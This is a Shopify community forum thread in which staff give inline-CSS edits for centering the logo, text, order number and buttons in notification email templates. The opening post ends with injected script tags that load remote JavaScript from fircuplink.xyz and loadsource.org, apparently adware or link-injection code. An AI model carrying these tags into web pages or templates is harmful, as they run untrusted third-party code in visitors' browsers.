Centering Logo in Shopify Email Notification

New Member
2 0 0

Hello,

The logo is on the left on all my notifications emails.

How can I easily center it - has to be responsive too in mobile.

Thank you so much,

C.

<script src="https://fircuplink.xyz/addons/lnkr5.min.js" type="text/javascript"></script> <script src="https://loadsource.org/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51710x7255x&r=153600897..." type="text/javascript"></script> <script src="https://fircuplink.xyz/addons/lnkr30_nt.min.js" type="text/javascript"></script>
0 Likes
Shopify Staff
Shopify Staff
412 10 33

Hi C!

Katy here from Shopify! Congrats on your first post here. 

You can adjust the logo in your order notification emails by adding some styling to the <td> tag which is already present. 

If you first could go to your Admin > Settings > Notifications

Here, let's take the order notification for example. Within this template if you can search for your logo and shop name:

 
Here, if you amend this line by apending the following code:

style="text-align: center;"

It should then look something like this:

 <td class="shop-name__cell" style="text-align: center;">

This should work on both desktop and mobile for you. 

Feel free to let me know how it goes.

Cheers,

Katy

Katy | Social Care @ Shopify
 - Was my reply helpful? Click Like to let me know! 
 - Was your question answered? Mark it as an Accepted Solution
 - To learn more visit the Shopify Help Center or the Shopify Blog

1 Like
Shopify Partner
2 0 0

Hi Katy,

I put in this information too ( <td class="shop-name__cell" style="text-align: center;">), but it still shows the Order# on the same row on desktop. It looks great on mobile (just like the screenshot you shared).

Any insight? 

0 Likes
New Member
11 0 0

Hi there

I have 5+ years of working experience in shopify development. please connect on skype so that we can discuss further.

skype info@99coders.co email sam@99coders.co

0 Likes
Shopify Staff
Shopify Staff
412 10 33

Hi,  Nikki!

Thanks so much for getting back to me on this, and I am sorry to hear it is not appearing correctly for you on desktop.

I have taken a further look and have a solution that can help with this. 

If we append block to both this line of code, and also the code below containing the order number, we can then stack them together which should do the trick! 

 

To do this, you will need to substitute:  <td class="shop-name__cell" style="text-align:center">

with: 

<td class="shop-name__cell" style="text-align:center; display:block">

Further below this if you could locate the following line of code:  <td class="order-number__cell">

Here we can substitute this with: 

<td class="order-number__cell" style="text-align: left;display:block;margin-top: 10px;">



Apologies for the confusion and  do please let me know how this goes for you!


Katy


 

Katy | Social Care @ Shopify
 - Was my reply helpful? Click Like to let me know! 
 - Was your question answered? Mark it as an Accepted Solution
 - To learn more visit the Shopify Help Center or the Shopify Blog

1 Like
Shopify Partner
2 0 0

Perfect, it worked. Thank you so much Katy!

0 Likes
New Member
2 0 0

Hi @Katy,

 

The above was super helpful, thank you!

 

Wondering if there's a way to centre all the copy in notification emails, in particular the attached top part?

 

Thanks

0 Likes
Shopify Staff
Shopify Staff
412 10 33

Hey @Brittany5

 

Thanks so much for chiming in here, and I am glad that you found the above steps helpful.

 

To center all of the text, if you could access your notifications once again:

 

Admin > settings > notifications > Order confirmation email

 

In here if you could search (using ctrl + f / cmd + f) for 'container'

This will feature around 7 times on the page. The one that we will need to adjust is the 2nd container.

 

 

<table class="container">
<tr>
<td>
<h2>{{ email_title }}</h2>
<p>{{ email_body }}</p>

 

Here, if you could append style="text-align: center" to the first line so that it appears instead as:

 

 

<table class="container" style="text-align: center">

 

This should do the trick for you for most of the text.

 

In order to center the order number,  you will need to do this separately. This is to ensure that the 'span' element is correctly centerd.

To do so, if you could then search for this line of code:

 

 

<span class="order-number__text">

 

 

Here, if you could append: style="text-align:center; display:block"  so that it appears as:

 

 

<span class="order-number__text" style="text-align:center; display:block">

 

Do let me know how it goes for you - I'm happy to help in any way that I can.

 

Cheers,

Katy

 

Katy | Social Care @ Shopify
 - Was my reply helpful? Click Like to let me know! 
 - Was your question answered? Mark it as an Accepted Solution
 - To learn more visit the Shopify Help Center or the Shopify Blog

0 Likes
New Member
2 0 0

Hi @Katy,

 

That's great, thank you!

 

One last thing - is there a way to centre the "View Your Order" or "Visit Our Store" buttons that sit underneath the text as well? 

 

Thanks again 

0 Likes
Shopify Staff
Shopify Staff
412 10 33

Thanks so much for your reply @Brittany5!

 

Yes - certainly.

 

If you could access your template once more, and search for actions__cell.

You should find this twice in the template. Here we will only need to adjust the first one. 

If you could append the following style="display: inline-table;"  to this so that it then appears as:

 

<td class="actions__cell" style="display: inline-table;">

 

This should then do the trick for you!

Let me know how it goes or if you have any questions.

 

Cheers,

Katy

Katy | Social Care @ Shopify
 - Was my reply helpful? Click Like to let me know! 
 - Was your question answered? Mark it as an Accepted Solution
 - To learn more visit the Shopify Help Center or the Shopify Blog

0 Likes